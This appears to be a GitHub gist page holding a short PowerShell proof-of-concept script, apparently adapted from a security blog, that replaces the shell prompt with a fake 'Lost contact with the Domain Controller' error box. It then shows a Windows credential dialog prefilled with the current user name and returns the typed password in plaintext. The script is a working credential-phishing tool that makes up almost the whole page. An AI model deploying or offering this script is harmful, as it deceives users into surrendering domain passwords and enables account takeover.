Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y

HarmJ0y/prompt.ps1

Last active Dec 1, 2015
Embed
What would you like to do?
prompt
# Stolen/adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# POC from greg.foss[at]owasp.org
function prompt {
Add-Type -AssemblyName Microsoft.VisualBasic
[Microsoft.VisualBasic.Interaction]::MsgBox('Lost contact with the Domain Controller.', 'OKOnly,MsgBoxSetForeground,SystemModal,Critical', 'ERROR - 0xA801B720')
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
$c + ":" + $credential.GetNetworkCredential().password
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment